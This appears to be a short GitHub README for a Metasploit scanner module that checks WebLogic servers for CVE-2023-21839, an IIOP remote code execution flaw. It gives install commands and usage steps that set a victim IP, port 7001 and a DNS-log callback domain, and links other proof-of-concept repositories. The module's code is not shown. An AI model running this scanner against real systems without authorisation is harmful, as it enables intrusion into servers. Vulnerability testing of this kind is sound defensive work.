kw3h4 / CVE-2023-21839-metasploit-scanner

CVE-2023-21839-metasploit-scanner

Usage

git clone https://github.com/kurehalin/CVE-2023-21839-metasploit-scanner
cd CVE-2023-21839-metasploit-scanner
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp weblogic_iiop_rce.py ~/.msf4/modules/auxiliary/scanner/http
chmod +x ~/.msf4/modules/auxiliary/scanner/http/weblogic_iiop_rce.py
msfconsole

POC usage

use auxiliary/scanner/http/weblogic_iiop_rce
set rhost <victim ip>
set rport 7001
set verify_dns_log <your specific dnslog domain>
run

result

reference

• https://github.com/4ra1n/CVE-2023-21839
• https://github.com/houqe/POC_CVE-2023-21839